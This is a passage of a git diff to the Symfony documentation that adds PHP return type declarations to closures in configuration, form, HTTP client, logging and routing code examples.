@@ -352,7 +352,7 @@ can set this option to generate forms compatible with the Bootstrap 5 CSS framew
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
diff --git a/http_cache.rst b/http_cache.rst
index ee273079a6a..71a05bfad41 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -104,7 +104,7 @@ Use the ``framework.http_cache`` option to enable the proxy for the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, string $env) {
+        return static function (FrameworkConfig $framework, string $env): void {
             if ('prod' === $env) {
                 $framework->httpCache()->enabled(true);
             }
diff --git a/http_client.rst b/http_client.rst
index b0a58670133..68d1d361138 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1535,12 +1535,12 @@ Then you're ready to go::
     $request = $httpClient->createRequest('GET', 'https://my.api.com/');
     $promise = $httpClient->sendAsyncRequest($request)
         ->then(
-            function (ResponseInterface $response) {
+            function (ResponseInterface $response): ResponseInterface {
                 echo 'Got status '.$response->getStatusCode();
 
                 return $response;
             },
-            function (\Throwable $exception) {
+            function (\Throwable $exception): never {
                 echo 'Error: '.$exception->getMessage();
 
                 throw $exception;
@@ -1656,7 +1656,7 @@ processing the stream of chunks as they come back from the network::
         {
             // process and/or change the $method, $url and/or $options as needed
 
-            $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
+            $passthru = function (ChunkInterface $chunk, AsyncContext $context): \Generator {
                 // do what you want with chunks, e.g. split them
                 // in smaller chunks, group them, skip some, etc.
 
@@ -1746,7 +1746,7 @@ responses dynamically when it's called::
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
-    $callback = function ($method, $url, $options) {
+    $callback = function ($method, $url, $options): MockResponse {
         return new MockResponse('...');
     };
 
@@ -1757,13 +1757,13 @@ You can also pass a list of callbacks if you need to perform specific
 assertions on the request before returning the mocked response::
 
     $expectedRequests = [
-        function ($method, $url, $options) {
+        function ($method, $url, $options): MockResponse {
             $this->assertSame('GET', $method);
             $this->assertSame('https://example.com/api/v1/customer', $url);
 
             return new MockResponse('...');
         },
-        function ($method, $url, $options) {
+        function ($method, $url, $options): MockResponse {
             $this->assertSame('POST', $method);
             $this->assertSame('https://example.com/api/v1/customer/1/products', $url);
 
@@ -1807,7 +1807,7 @@ The responses provided to the mock client don't have to be instances of
 
 However, using ``MockResponse`` allows simulating chunked responses and timeouts::
 
-    $body = function () {
+    $body = function (): \Generator {
         yield 'hello';
         // empty strings are turned into timeouts so that they are easy to test
         yield '';
diff --git a/logging.rst b/logging.rst
index c546701f78d..ecc14a9b8b0 100644
--- a/logging.rst
+++ b/logging.rst
@@ -156,7 +156,7 @@ to write logs using the :phpfunction:`syslog` function:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             // this "file_log" key could be anything
             $monolog->handler('file_log')
                 ->type('stream')
@@ -255,7 +255,7 @@ one of the messages reaches an ``action_level``. Take this example:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('filter_for_errors')
                 ->type('fingers_crossed')
                 // if *one* log is error or higher, pass *all* to file_log
@@ -350,7 +350,7 @@ option of your handler to ``rotating_file``:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('rotating_file')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 3e607d825ce..3b21f7f08a2 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -77,7 +77,7 @@ can do it in any (or all) environments:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('security')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/security.log')
@@ -158,7 +158,7 @@ You can also configure additional channels without the need to tag your services
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->channels(['foo', 'bar', 'foo_bar']);
         };
 
diff --git a/logging/formatter.rst b/logging/formatter.rst
index ffddbd1ed72..6f2bfc7906c 100644
--- a/logging/formatter.rst
+++ b/logging/formatter.rst
@@ -48,7 +48,7 @@ configure your handler to use it:
         // config/packages/prod/monolog.php (and/or config/packages/dev/monolog.php)
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('file')
                 ->type('stream')
                 ->level('debug')
diff --git a/logging/handlers.rst b/logging/handlers.rst
index ef4c8990d48..d44e3ab18a3 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -123,7 +123,7 @@ Then reference it in the Monolog configuration:
         use Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler;
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('es')
                 ->type('service')
                 ->id(ElasticsearchLogstashHandler::class)
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 75f2aa51d32..ad06cfabbff 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -117,7 +117,7 @@ The Monolog console handler is enabled by default:
         // config/packages/dev/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('console')
                 ->type('console')
                 ->processPsr3Messages(false)
diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index e6da3dbeb51..3610b3c1b4c 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -97,7 +97,7 @@ it is broken down.
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $mainHandler = $monolog->handler('main')
                 ->type('fingers_crossed')
                 // 500 errors are logged at the critical level
@@ -176,7 +176,7 @@ You can adjust the time period using the ``time`` option:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             // ...
 
             $monolog->handler('deduplicated')
@@ -285,7 +285,7 @@ get logged on the server as well as the emails being sent:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('fingers_crossed')
                 ->actionLevel('critical')
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index a49dcfe8e1f..810abdd5b9f 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -46,7 +46,7 @@ logging these HTTP codes based on the MonologBundle configuration:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
diff --git a/logging/processors.rst b/logging/processors.rst
index 0ff2e88ea78..dc60faf84b1 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -150,7 +150,7 @@ Finally, set the formatter to be used on whatever handler you want:
         // config/packages/prod/monolog.php
         use Symfony\Config\MonologConfig;
 
-        return static function (MonologConfig $monolog) {
+        return static function (MonologConfig $monolog): void {
             $monolog->handler('main')
                 ->type('stream')
                 ->path('%kernel.logs_dir%/%kernel.environment%.log')
diff --git a/mailer.rst b/mailer.rst
index f1528a81bc0..895ba2a7262 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -813,7 +813,7 @@ image files as usual. First, to simplify things, define a Twig namespace called
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // point this wherever your images live
@@ -922,7 +922,7 @@ called ``styles`` that points to the directory where ``email.css`` lives:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             // point this wherever your css files live
diff --git a/migration.rst b/migration.rst
index 551004eb14c..4c1286125da 100644
--- a/migration.rst
+++ b/migration.rst
@@ -458,10 +458,10 @@ which script to call and wrap the output in a response class::
 
     class LegacyController
     {
-        public function loadLegacyScript(string $requestPath, string $legacyScript)
+        public function loadLegacyScript(string $requestPath, string $legacyScript): StreamedResponse
         {
             return new StreamedResponse(
-                function () use ($requestPath, $legacyScript) {
+                function () use ($requestPath, $legacyScript): string {
                     $_SERVER['PHP_SELF'] = $requestPath;
                     $_SERVER['SCRIPT_NAME'] = $requestPath;
                     $_SERVER['SCRIPT_FILENAME'] = $legacyScript;
diff --git a/notifier.rst b/notifier.rst
index 9a20b816ab9..84b74d7bcf1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -881,7 +881,7 @@ dispatched. Listeners receive a
 
     use Symfony\Component\Notifier\Event\MessageEvent;
 
-    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event): void {
         // gets the message instance
         $message = $event->getMessage();
 
@@ -904,7 +904,7 @@ Listeners receive a
 
     use Symfony\Component\Notifier\Event\FailedMessageEvent;
 
-    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event): void {
         // gets the message instance
         $message = $event->getMessage();
 
@@ -927,7 +927,7 @@ is dispatched. Listeners receive a
 
     use Symfony\Component\Notifier\Event\SentMessageEvent;
 
-    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event): void {
         // gets the message instance
         $message = $event->getOriginalMessage();
 
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index f11d148e383..34413aec55e 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -280,7 +280,7 @@ using the special ``when@`` keyword:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container): void {
             $framework->router()
                 ->utf8(true)
             ;
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 71f8968c35a..672aabc0ebd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -353,7 +353,7 @@ directory instead:
 
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $emDefault = $doctrine->orm()->entityManager('default');
 
             $emDefault->autoMapping(true);
@@ -413,7 +413,7 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
         use Symfony\Config\DoctrineConfig;
 
-        return static function (DoctrineConfig $doctrine) {
+        return static function (DoctrineConfig $doctrine): void {
             $emDefault = $doctrine->orm()->entityManager('default');
 
             $emDefault->autoMapping(true);
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 5d4ac3189ae..33bfc9e687a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -149,7 +149,7 @@ application:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             // ...
 
             // 'main' is the name of the firewall (can be chosen freely)
@@ -572,7 +572,7 @@ The security configuration should be:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->lazy(true);
             $mainFirewall->jsonLogin()
@@ -697,7 +697,7 @@ X.509 Authentication
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->x509()
                 ->provider('your_user_provider')
@@ -768,7 +768,7 @@ Remote User Authentication
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->remoteUser()
                 ->provider('your_user_provider')
@@ -849,7 +849,7 @@ multiple firewalls, the "context" could actually be shared:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $security->firewall('somename')
                 // ...
                 ->context('my_context')
@@ -911,7 +911,7 @@ the session must not be used when authenticating users:
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->stateless(true);
             // ...
@@ -970,7 +970,7 @@ Firewalls can configure a list of required badges that must be present on the au
         // config/packages/security.php
         use Symfony\Config\SecurityConfig;
 
-        return static function (SecurityConfig $security) {
+        return static function (SecurityConfig $security): void {
             $mainFirewall = $security->firewall('main');
             $mainFirewall->requiredBadges(['CsrfTokenBadge', 'My\Badge']);
             // ...
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 0117e4efc7c..cc079da6745 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -226,7 +226,7 @@ The value of this option can be a regular expression, a glob, or a string:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->fileNamePattern([
                 '*.twig',
                 'specific_file.html',
@@ -277,7 +277,7 @@ all the forms of the application:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             $twig->formThemes([
                 'bootstrap_5_layout.html.twig',
                 'form/my_theme.html.twig',
@@ -412,7 +412,7 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function (TwigConfig $twig) {
+        return static function (TwigConfig $twig): void {
             // ...
 
             $twig->path('email/default/templates', null);
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 89a5bb5a8e2..62184f805cd 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -237,7 +237,7 @@ constructor of the Callback constraint::
     {
         public static function loadValidatorMetadata(ClassMetadata $metadata)
         {
-            $callback = function ($object, ExecutionContextInterface $context, $payload) {
+            $callback = function ($object, ExecutionContextInterface $context, $payload): void {
                 // ...
             };
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 941654f5593..32640195c6e 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -73,21 +73,21 @@ method::
         // a callback to return the label for a given choice
         // if a placeholder is used, its empty value (null) may be passed but
         // its label is defined by its own "placeholder" option
-        'choice_label' => function (?Category $category) {
+        'choice_label' => function (?Category $category): string {
             return $category ? strtoupper($category->getName()) : '';
         },
         // returns the html attributes for each option input (may be radio/checkbox)
-        'choice_attr' => function (?Category $category) {
+        'choice_attr' => function (?Category $category): array {
             return $category ? ['class' => 'category_'.strtolower($category->getName())] : [];
         },
         // every option can use a string property path or any callable that get
         // passed each choice as argument, but it may not be needed
-        'group_by' => function () {
+        'group_by' => function (): string {
             // randomly assign things into 2 groups
-            return rand(0, 1) == 1 ? 'Group A' : 'Group B';
+            return rand(0, 1) === 1 ? 'Group A' : 'Group B';
         },
         // a callback to return whether a category is preferred
-        'preferred_choices' => function (?Category $category) {
+        'preferred_choices' => function (?Category $category): bool {
             return $category && 100 < $category->getArticleCounts();
         },
     ]);
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 7030db2f7ed..c18c558dbdc 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -160,7 +160,7 @@ the value is removed from the collection. For example::
 
     $builder->add('users', CollectionType::class, [
         // ...
-        'delete_empty' => function (User $user = null) {
+        'delete_empty' => function (User $user = null): bool {
             return null === $user || empty($user->getFirstName());
         },
     ]);
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 884ab26a0d0..a524e3e02d0 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -58,7 +58,7 @@ the `query_builder`_ option::
 
     $builder->add('users', EntityType::class, [
         'class' => User::class,
-        'query_builder' => function (EntityRepository $er) {
+        'query_builder' => function (EntityRepository $er): QueryBuilder {
             return $er->createQueryBuilder('u')
                 ->orderBy('u.username', 'ASC');
         },
@@ -124,7 +124,7 @@ method. You can also pass a callback function for more control::
 
     $builder->add('category', EntityType::class, [
         'class' => Category::class,
-        'choice_label' => function ($category) {
+        'choice_label' => function (Category $category): string {
             return $category->getDisplayName();
         }
     ]);
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index 38a97a6cd36..db5a47f4109 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -33,7 +33,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
             'No' => false,
             'Maybe' => null,
         ],
-        'choice_attr' => function ($choice, $key, $value) {
+        'choice_attr' => function ($choice, string $key, mixed $value) {
             // adds a class like attending_yes, attending_no, etc
             return ['class' => 'attending_'.strtolower($key)];
         },
@@ -49,7 +49,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
 
         // ...
         $builder->add('choices', ChoiceType::class, [
-            'choice_attr' => ChoiceList::attr($this, function (?Category $category) {
+            'choice_attr' => ChoiceList::attr($this, function (?Category $category): array {
                 return $category ? ['data-uuid' => $category->getUuid()] : [];
             }),
         ]);
diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index b220d12fd1d..235e1d84ed9 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -37,7 +37,7 @@ define a callable that takes each choice as the only argument and must return
                 ->add('country', CountryType::class, [
                     // if the AddressType "allowed_countries" option is passed,
                     // use it to create a filter
-                    'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries) {
+                    'choice_filter' => $allowedCountries ? function ($countryCode) use ($allowedCountries): bool {
                         return in_array($countryCode, $allowedCountries, true);
                     } : null,
 
@@ -69,7 +69,7 @@ The option can be a callable or a property path when choices are objects::
         'choice_filter' => $allowedCountries ? ChoiceList::filter(
             // pass the type as first argument
             $this,
-            function ($countryCode) use ($allowedCountries) {
+            function (string $countryCode) use ($allowedCountries): bool {
                 return in_array($countryCode, $allowedCountries, true);
             },
             // pass the option that makes the filter "vary" to compute a unique hash
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 33b5ccbfc54..8fedf4cb88c 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -16,7 +16,7 @@ more control::
             'no' => false,
             'maybe' => null,
         ],
-        'choice_label' => function ($choice, $key, $value) {
+        'choice_label' => function ($choice, string $key, mixed $value): TranslatableMessage|string {
             if (true === $choice) {
                 return 'Definitely!';
             }
diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 67062c56ada..5dec1b6cede 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -17,7 +17,7 @@ if you want to take advantage of lazy loading::
     // ...
 
     $builder->add('loaded_choices', ChoiceType::class, [
-        'choice_loader' => new CallbackChoiceLoader(function () {
+        'choice_loader' => new CallbackChoiceLoader(static function (): array {
             return StaticClass::getConstants();
         }),
     ]);
@@ -57,7 +57,7 @@ better performance::
 
                 // you can pass your own loader as well, depending on other options
                 'some_key' => null,
-                'choice_loader' => function (Options $options) {
+                'choice_loader' => function (Options $options): array {
                     return ChoiceList::loader(
                         // pass the instance of the type or type extension which is
                         // currently configuring the choice list as first argument
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index c1bad6dc336..09c063c2d2b 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -54,7 +54,7 @@ You can specify the placeholder values as follows::
             'form.order.yes' => true,
             'form.order.no' => false,
         ],
-        'choice_translation_parameters' => function ($choice, $key, $value) {
+        'choice_translation_parameters' => function ($choice, string $key, mixed $value): array {
             if (false === $choice) {
                 return [];
             }
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index 13bc324cd2a..4b3668074a9 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -15,7 +15,7 @@ If you pass a callable, it will receive one argument: the choice itself. When us
 the :doc:`/reference/forms/types/entity`, the argument will be the entity object
 for each choice or ``null`` in a placeholder is used, which you need to handle::
 
-    'choice_value' => function (?MyOptionEntity $entity) {
+    'choice_value' => function (?MyOptionEntity $entity): string {
         return $entity ? $entity->getId() : '';
     },
 
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 8cb1278136d..479bb7e3663 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -33,7 +33,7 @@ be especially useful if your values are objects::
             '1 week' => new \DateTime('+1 week'),
             '1 month' => new \DateTime('+1 month'),
         ],
-        'preferred_choices' => function ($choice, $key, $value) {
+        'preferred_choices' => function ($choice, $key, $value): bool {
             // prefer options within 3 days
             return $choice <= new \DateTime('+3 days');
         },
diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc
index 90f79bede75..c5fe70b6d67 100644
--- a/reference/forms/types/options/validation_groups.rst.inc
+++ b/reference/forms/types/options/validation_groups.rst.inc
@@ -34,7 +34,7 @@ the option. Symfony will then pass the form when calling it::
     public function configureOptions(OptionsResolver $resolver)
     {
         $resolver->setDefaults([
-            'validation_groups' => function (FormInterface $form) {
+            'validation_groups' => function (FormInterface $form): array {
                 $entity = $form->getData();
 
                 return $entity->isUser() ? ['User'] : ['Company'];
diff --git a/routing.rst b/routing.rst
index d06a4c3f864..721a239d98e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -143,7 +143,7 @@ the ``BlogController``:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog')
                 // the controller value has the format [controller_class, method_name]
                 ->controller([BlogController::class, 'list'])
@@ -229,7 +229,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         use App\Controller\BlogApiController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('api_post_show', '/api/posts/{id}')
                 ->controller([BlogApiController::class, 'show'])
                 ->methods(['GET', 'HEAD'])
@@ -341,7 +341,7 @@ arbitrary matching logic:
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
@@ -535,7 +535,7 @@ For example, the route to display the blog post contents is defined as ``/blog/{
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return function (RoutingConfigurator $routes): void {
             $routes->add('blog_show', '/blog/{slug}')
                 ->controller([BlogController::class, 'show'])
             ;
@@ -625,7 +625,7 @@ the ``{page}`` parameter using the ``requirements`` option:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page}')
                 ->controller([BlogController::class, 'list'])
                 ->requirements(['page' => '\d+'])
@@ -729,7 +729,7 @@ concise, but it can decrease route readability when requirements are complex:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page<\d+>}')
                 ->controller([BlogController::class, 'list'])
             ;
@@ -806,7 +806,7 @@ other configuration formats they are defined with the ``defaults`` option:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page}')
                 ->controller([BlogController::class, 'list'])
                 ->defaults(['page' => 1])
@@ -881,7 +881,7 @@ parameter:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_list', '/blog/{page<\d+>?1}')
                 ->controller([BlogController::class, 'list'])
             ;
@@ -1078,7 +1078,7 @@ and in route imports. Symfony defines some special attributes with the same name
 
         use App\Controller\ArticleController;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('article_show', '/articles/{_locale}/search.{_format}')
                 ->controller([ArticleController::class, 'search'])
                 ->locale('en')
@@ -1148,7 +1148,7 @@ the controllers of the routes:
         use App\Controller\BlogController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('blog_index', '/blog/{page}')
                 ->controller([BlogController::class, 'index'])
                 ->defaults([
@@ -1219,7 +1219,7 @@ A possible solution is to change the parameter requirements to be more permissiv
         use App\Controller\DefaultController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('share', '/share/{token}')
                 ->controller([DefaultController::class, 'share'])
                 ->requirements([
@@ -1277,7 +1277,7 @@ Route alias allow you to have multiple name for the same route:
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->alias('new_route_name', 'original_route_name');
         };
 
@@ -1452,7 +1452,7 @@ when importing the routes.
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->import(
                     '../../src/Controller/',
                     'annotation',
@@ -1526,7 +1526,7 @@ defined in the class annotation.
             // config/routes/annotations.php
             use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-            return function (RoutingConfigurator $routes) {
+            return static function (RoutingConfigurator $routes): void {
                 $routes->import('../../src/Controller/', 'annotation')
                     // the second argument is the $trailingSlashOnRoot option
                     ->prefix('/blog', false)
@@ -1678,7 +1678,7 @@ Use the ``RedirectController`` to redirect to other routes and URLs:
         use Symfony\Bundle\FrameworkBundle\Controller\RedirectController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('doc_shortcut', '/doc')
                 ->controller(RedirectController::class)
                  ->defaults([
@@ -1803,7 +1803,7 @@ host name:
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('mobile_homepage', '/')
                 ->controller([MainController::class, 'mobileHomepage'])
                 ->host('m.example.com')
@@ -1892,7 +1892,7 @@ multi-tenant applications) and these parameters can be validated too with
         use App\Controller\MainController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('mobile_homepage', '/')
                 ->controller([MainController::class, 'mobileHomepage'])
                 ->host('{subdomain}.example.com')
@@ -1999,7 +1999,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         use App\Controller\CompanyController;
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
+        return static function (RoutingConfigurator $routes): void {
             $routes->add('about_us', [
                 'en' => '/about-us',
                 'nl' => '/over-ons',
@@ -2059,7 +2059,7 @@ with a locale. This can be done by defining a different prefix for each locale
         // config/routes/annotations.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes) {
